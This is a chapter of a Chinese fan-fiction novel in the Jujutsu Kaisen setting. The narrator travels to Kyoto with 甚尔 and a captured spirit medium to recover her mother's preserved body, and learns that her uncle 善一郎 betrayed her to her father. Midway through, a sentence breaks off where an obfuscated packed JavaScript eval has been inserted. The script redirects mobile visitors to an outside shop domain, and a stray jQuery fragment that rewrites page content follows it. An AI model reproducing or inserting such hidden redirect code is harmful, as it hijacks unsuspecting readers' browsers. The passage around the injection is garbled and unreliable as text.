46.京都
    了结之日近在眼前,近日我自觉精神非常好。

    马上,马上就能见到母亲了。

    按照她希望的方式获得安息,随后一切便能结束。

    甚尔说事情办的很顺利,那天他能赶到牛郎店是出乎我意料之外的,看来他当时已经在回来的路上,真是千钧一发。

    “你碰到善一郎了吗?”

    “那个家伙啊。”硕大的肉紫色长虫状咒灵依恋地盘踞在他的上身,我好奇地拍了拍它的身体,它别扭地动弹两下,十分温顺。

    这是甚尔用来储藏咒具的咒灵。我听闻过少数调服咒灵的案例,实际见到还是头一回。除非有相关的术式,一般情况下咒灵不愿意服从人类,找到合适的受体对人类来说也是件麻烦事,几乎是吃力不讨好的行为,很少有人这么干。

    “他倒是还出了不少力,既然你说可以信任那家伙,我就交给他了。”他说,“顺便一提,有个不认识的女人,莫名其妙冒出来,害得我差点被发现。”

    我对他所说的人大概有数。

    我的目的有两个,除却召魂,还有一件事,不能让母亲的身体继续落在那男人手里。

    我原以为母亲的身体早就下葬,谁知当初被他们带走后,母亲的身体被擅自保存起来,尚未安息。那男人不可能将母亲的身体放在离他太远的位置,这些年,我有了一些眉目,只是来不及实施,甚尔能顺利带走母亲的身体,真是太好了。

    另一件事同样进展顺利,在小真的帮助下,通灵婆婆很快抓到,她自身的力量并不强大,培养的孙子便是她的保镖,那不过是个力气大一些的普通人,咒力平平,一网打尽不是难事。

    她纵横多年的秘诀恐怕还是在降灵术上,不肯降临灵魂信息,只覆盖□□信息,相当于召唤出强力的帮手,还不知道具体的召唤条件是什么,等下就知道了。

    “收工收工。”

    我精神抖擞地提起通灵婆婆,她瞪着铜铃大的眼珠,里面充满怨恨。

    “让我们省点事吧,我的要求很简单,上次和你说过。放心,不会损害你心爱的孙子。”我踢了踢倒在地上的人,是个约莫二十多岁的寸头,目前昏迷得很彻底,甚尔正在他脸上戳来戳去。

    禅院直哉无论如何要跟在一边,我打发不了他,只好带在身边。反正有甚尔吸引他的注意,没空捣乱。

    小真适时走了出来。

    战斗时会发生什么不保准儿,先前让他躲在安全的角落,现在轮到他出马了。

    “原来是你背叛了老身!”通灵婆婆目眦欲裂,“老身好心收养你和那个拖油瓶,居然……”

    “好心?别把自己说得那么高尚。”小真笑了笑,碰了碰我的衣角,我心领神会,开口道,“小真愿意成为这次降灵的受体,告诉我你召魂的条件,不要妄想这次还能逃脱,你的命捏在自己手里。”

    我晃了晃手中的身体,她憋气道:“老身知道了。”

    “很好,识时务的人活得久,你能活这么大年纪,想必是个通事理的人。”

    我松开手,将她放回地面。

    她哼了一声,重新盘好手上的串珠。

    “老身的安全,你要如何保障?”

    “现在可不是你提条件的时候。”我掰了掰拳头,“告诉我降灵的条件。”

    “尸体,老身需要尸体的一部分。”

    “非要不可?”

    “受灵的容器,召魂对象的尸身,降灵仪式,缺一不可。否则就另请高明吧。”

    母亲的身体。

    我吐出一口长长的气。

    两个目的重叠在一起,倒是误打误撞了。

    “我知道了。”

    甚尔早已站起身,定定看着我。

    “走吧。”我朝他们说道。

    去京都。

    母亲的身体就在那儿。

    通灵婆婆还要为跑去那么远的地方抗议,被我瞪了一眼后安分了两秒,眼珠子不安分地转来转去,略过禅院直哉,落到甚尔身上定住。

    “真是漂亮的肉身,召魂的绝佳对象。”通灵婆婆走在甚尔身后,左看右瞧,眼中的贪婪简直要从眼眶滴落,“老身愿意出个好价钱,要是你将来有个什么不小心,届时只需要留给我尸身的一小部分……”

    未等甚尔开口,我隔在他们中间。

    “放心,到时候你的骨头都化成灰了。”

    甚尔可是会长命百岁的。

    车站。

    新干线的票很贵,我肉痛地捏了捏钱包,甚尔和通灵婆婆就算了,为什么禅院直哉这小子的票也要我来买,离家出走不知道要带上钱包吗,先前他爽游东京都是我在出钱。

    赶紧给他送走!

    幸好小真可以买儿童票。

    ……应该可以吧。

    “你多大了?”

    “有什么关系吗?”小真挠了挠脸,“十四?”

    关系大了。

    我痛苦地买好五张成人票,坐上前往京都的列车。

    最后的旅途。

    我打心眼儿里不愿意回到这个地方,只是逼近那块土地,污浊的空气,阴霾的天空,遮云蔽日的屋檐,如同随海水升起的腥味水藻,历数在目。

    以防闹出太大的声仗惹人注意,母亲仍待在离禅院家不远的地方,善一郎对甚尔说他会照管母亲的身体。

    过去这么多天,电话还是打不通。

    一定是出了什么变故。

    我们前往预定之地,是善一郎名下的一处房产。

    母亲,如今是什么样子?

    我原以为她的模样在我脑海中依旧清晰,可当我正想细细描摹她的面孔,那些清楚的印象又模糊了。

    “甚尔。”我低声道,轻轻拉住他的手。

    手上传来重重的压力,他反握回来。

    “她……应该没有变化。”他低声道。

    “什么意思?”

    他不再回答,也是,一会儿就知道了。

    看不出任何异样的木色房屋,在一众漆色鲜亮的居民屋里反而低调得有些显眼,这儿大概不是他自己常驻的房子,我并不知道善一郎住在哪里,不如说,我对他的了解同许多年前相差不多,他关心我的生活,却不透露自己的生活。

    他追随着一个他曾经厌恶的男人,站在我的对立面,又总是做些多余的事。

    我本该全心全意想着母亲的事,有关善一郎的念头总是挥之不去。

    “我想自己进去。”我转身对他们说道。小真点点头,始终警惕地看着通灵婆婆,可惜他一个人应付不了那个老人精,禅院直哉一落地就不知所踪,少掉一个不安分因素也好。

    幸好还有甚尔在。

    我走入空无一人的房子,上下两层的房间没有异样,剩下通往地下的一段楼梯。

    木质楼梯发出老旧的吱嘎吱嘎声,走过黑暗的转角,刺眼的白光闪了一瞬,等在那里的是一个意料之外的人。

    “你怎么会在这儿?”我咬牙切齿道,“松枝亚一郎!你把母亲弄到哪儿去了?”

    他的身后空无一物,空荡荡的地下房间回放着我的质问。

    “这可不是见到爸爸的态度。出口不逊还跑来当小偷,果然放到外面去不行啊。”他眯起眼睛,“我不是教导过你吗?好孩子应该怎么做。”

    我下意识一抖,身上凝固成疮疤的伤口似乎重新复活,汩汩流出新鲜的血。

    男人哈哈大笑。

    嘴唇蠕动着,声音从牙齿缝里挤出。

    他完全不为所动,继续喋喋不休。

    “外面没有你的容身之所,认清现实吧。”像是催眠一样,他的声音源源不断从四面八方传来,过去的声音同现在混在一起,时间一同杂糅在乱糟糟的线团里,将我困缚其中,越是挣扎,线缠绕得越紧。

    我拼命想除去那些幻觉,梦魇接踵而至,遮蔽我同现实的界限。

    怪物,变形的怪物从伤口破皮而出,呼啸在周围,扭曲的深绿色液体从粘液质的身体流出,仿佛是我曾经喝下的药剂,风箱一样的声音从肺里传来,空气呕到外面,怪物将它们吞回去,我感到自己鼓涨起来,像是一个一边漏气一边充气的破皮气球。

    如同牵起傀儡,他轻而易举捏住我的手臂,身体轻飘飘的,像是发生在无关之人身上的事。

    我困在其中,绝望如同墨水滴落在纸上,一层一层晕染开,徒劳变得浓重,我永远无法突破纸背。

    眼前一暗,手上的拉力消失,熟悉的身影破纸而来,将我掷回现实。

    “大叔叽叽歪歪的毛病要是还改不掉,我认识个很好的医生,送去修理一番搞不好还能多活两年。”甚尔拍了拍脑袋,好像刚想起什么,“不过对方是兽医,控制不了药量,说不定会变成流口水的痴呆老头。嘛,和现在没什么区别就是了。”

    我想象那副画面,不禁笑出声来。

    松枝亚一郎依旧维持游刃有余的表情,脸上隐隐凸起的青筋连至发际线。

    “这是家事,外来的阿猫阿狗自然不会明白。”

    “甚尔不是外人。”我定了定神,“既然你要提家事,母亲呢?”

    “心自然是好好地待在原来的地方。”

    “那善一郎去哪儿了?他为你工作多年,你把他怎么样了?”

    我暗暗祈祷,希望他平安无事。

    “哦?”他的头略微一偏,“那样的人你还惦记着,真是可爱啊,祥子。”

    听到他念出母亲为我取的名字,胃翻涌起来。

    “他倒是伪装的很好,难怪把你骗的团团转,听说还经常去东京看你,不过,你以为我是怎么知道这里的?”

    我不会再上当了。

    真心还是假意,我要看着我所看到的东西。眼见不一定为实,耳听不一定为虚,何况这个男人生性狡诈,唯独他的话是不能相信的。

    松枝亚一郎拍了拍手。

    “出来吧,自己告诉你的好侄女你都做了什么。”

    许久不见的善一郎不知从何处走出,看上去全须全尾。

    “他胁迫了你。”我笃定道。

    “我自愿如此。”

    “被自愿可不算是自愿。”

    “祥子,我不是告诉过你,不要相信任何人吗?”他露出许久不曾展露的面具,嘴角越是用力勾起,越透出一种无力。

    “别笑了,你也觉得那样很滑稽吧。”

    “滑稽,没错。你们都这么想,亚一郎接纳的正是这样的我。”他的笑容不改,仿佛能拧出糖汁儿来,“他能给予我想要的一切,力量、荣誉、地位……所有的人都会尊重我,而不是一个看不见的阴影。”

    “还有呢?”

    “是我将你母亲的事情泄露给他。”善一郎的眼睛一动不动。“我的任务自始至终没有变化,确保你的一举一动都符合亚一郎的规划。”

    “这就是你给出的理由?你没有其他话要对我说了吗?”

    “你以为,‘炳’的人是怎么找到那家店的?”

    他晃了晃手机。

    我掏出口袋里的手机,心中有了不好的猜测。

    窃听我电话的不是禅院直哉,剩下的人选寥寥无几,是我刻意回避的选项。

    “从一开始……”

    蹩脚的水晶挂饰一晃一晃。

    这是善一郎买给我的手机,我拥有的第一部手机。

    那会儿我对电子科技一窍不通,为了任务联系方便,我不得已跑到手机店买手机,结果被店员忽悠,买了一部功能累赘的淘汰款式,还狠狠宰了我一笔钱。

    善一郎听闻后哈哈大笑,带着我回到那家手机店,轻轻松松几句话,那帮店员就乖乖退了钱。

    没过两天,他送了我一台新手机。

    我本来不想接受,他却说就当做是我从他那儿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044108|146084||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    教学毕业的礼物。

    “我没什么可教你的了,你已经是出色的咒术师了。”他笑着说道。

    眉眼弯弯的善一郎同这个笑意不见眼底的善一郎重合。

    “没错,从一开始。”他走到松枝亚一郎身前,一个保护者的姿势,“你是他的女儿,所以我会关照你,假如你要对他不利,便是我的敌人。”

    他的言语之中矛盾之处不少,我咽下辩驳的话,说出再多例子又如何,他照旧可以嘴硬。

    既然如此,我要看看善一郎脑子里进的什么水,言语无法沟通,就用拳头揍出来。

    我对甚尔小声交代几句,他心领神会,悠然走到一边,抱臂靠在墙上,观察起松枝亚一郎的动向,对方同样饶有兴趣地看着场上的事态。

    善一郎似乎并不喜欢成为表演者,继续言语挣扎一番无果后被迫开始了战斗。

    一改开始的急切,他不急不缓地躲着我的攻击,即便我加快节奏,他还是那副不温不火的样子。哪怕他最宝贵的头发被我切断一截,他也全无感觉。

    “你的一招一式都是我教出来的,你是无法打败我的,小祥子。”

    “原话奉还。”

    在不断的实践教学中,我同样摸清了他的战斗路数。善一郎一向不用武器,武器反而会成为他的妨碍,作为同样靠灵活取胜的类型,我很清楚他变化多端的战斗方式的麻烦之处,好处是只要摸清他的路数,在他启用术式前迅速解决掉,就有一胜之地。

    “再说了,谁说我的战斗老师只有你了?”

    善一郎被我措手不及击中肩膀,打了个踉跄,随后节节败退。

    一瞬间,我还以为是我变强了。

    “为什么不用术式?”

    “没有必要。”

    “是不想用还是不能用?”

    他沉默不语。

    打一开始我就觉得奇怪,他不是喜欢拖延战的类型,观察完对手的路数后马上会速战速决,这次陷入了颓势,居然连术式都不用。

    他并没有小看我,不是我变强了,是他变弱了。

    战斗技巧是写入身体本能的,他正当盛年,哪怕是疏于训练,怎么可能一下子滑坡到这个程度。况且近些年他的术式精益不少,甚至连疗愈外伤都能做到。先前还有诸多限制,如今成了名副其实的万能符箓,假如他一开始就用了术式,局面不会是一边倒。

    我面色复杂地收回刀刃,将视线投向松枝亚一郎。

    “喂,你做了什么?”

    “不是我做了什么,而是他做了什么。”

    松枝亚一郎厌恶地看了一眼地上的善一郎,仿佛他不再有利用价值。

    “礼物是有代价的,他接受我的礼物,又违反了契约,受到反噬不是理所当然的吗?”

    果然他才是罪魁祸首。

    “他会拼命保护我。伤害我就是伤害他,不希望你亲爱的善一郎叔叔受伤,我劝你还是收手吧。”

    我消化着他话中的含义,再问下去他也不会说实话,对于生性狡诈的人,顺着他的话茬只会落入陷阱。

    “我带来了能召唤母亲魂魄的人。”

    “那种残次品术式。”他苦恼地用手指在太阳穴上点了点,“居然想为这种事情损害你母亲宝贵的身体,小孩子总有这种突发奇想,真不知道心为什么会选择你。”

    他果然对我的动向一清二楚。

    “应该有人给你通风报信了吧,‘炳’为什么会去找你。”

    我点点头。

    “之后你乖乖配合,爸爸就满足你这点小愿望吧。”

    说是不能损害,还是轻易答允了啊。

    母亲,当时你怎么会被这么虚伪的一个人欺骗。

    “先让我见到母亲。”

    我摸了摸脑后仅存的唯一一条发带。

    似乎是觉得我逃不出他的掌心,他打了个呵欠。

    “带她去吧。”

    善一郎在刚刚的战斗中受了些轻伤,血顺着他的面皮滑落,异常显眼。

    “不用吗?”我低声道,“你的术式。”

    他的术式自那时起变强了许多,如今连疗愈外伤都能做到,同许愿机器没什么区别。

    “用在这儿可太浪费了。”他摇摇头,“你不怪我吗?”

    “当然要怪。”我扶了他一把,“你就好好等着吧。”

    他的眼睛弯了弯。

    通灵婆婆被甚尔五花大绑地放在门外,即便只有小真看守依旧没有问题。无视她的抱怨,我解开绳子,不想被重新捆上,她乖乖跟了上来。

    越走越接近禅院家的方向,所幸不在里面,一处隐蔽的暗道遮盖在草丛中。

    “到了。”

    将通灵婆婆和小真留在上面,下面是一间气温很低的地下室。

    我打了个寒颤,墙上挂有保暖外套,善一郎递来其中一件,我立刻穿上。

    厚重的衣物阻止部分热量流失,寒冷并未消失,我直直看向房间的中央,灰木色的厚长物体醒目地摆在那里,透明的罩子覆盖长长的棺体,从不远处也能看到里面的人体轮廓。

    母亲就在其中。

    我踟蹰在原地。

    “去吧。”

    善一郎后退几步,离开空旷的地下室,将空间留给我。

    我小心翼翼地靠近冰棺,不知名的符文若隐若现,洁白的百合围绕在她身边。她像是睡着了。容颜丝毫未变,死亡凝固了她的时间。

    “真是恶趣味。”

    我低声道。

    母亲最讨厌百合了,她喜欢热烈的花,他不可能不知道。

    我抚摸着冰棺,如同在触碰母亲的脸。

    一个猜测浮出水面。

    说不定那男人深恨母亲当年的选择,说不定是为了复仇。杀死一颗石头必须先赋予它生命,要折磨一个死人,自然是先将其复活。

    绝不会让他得逞。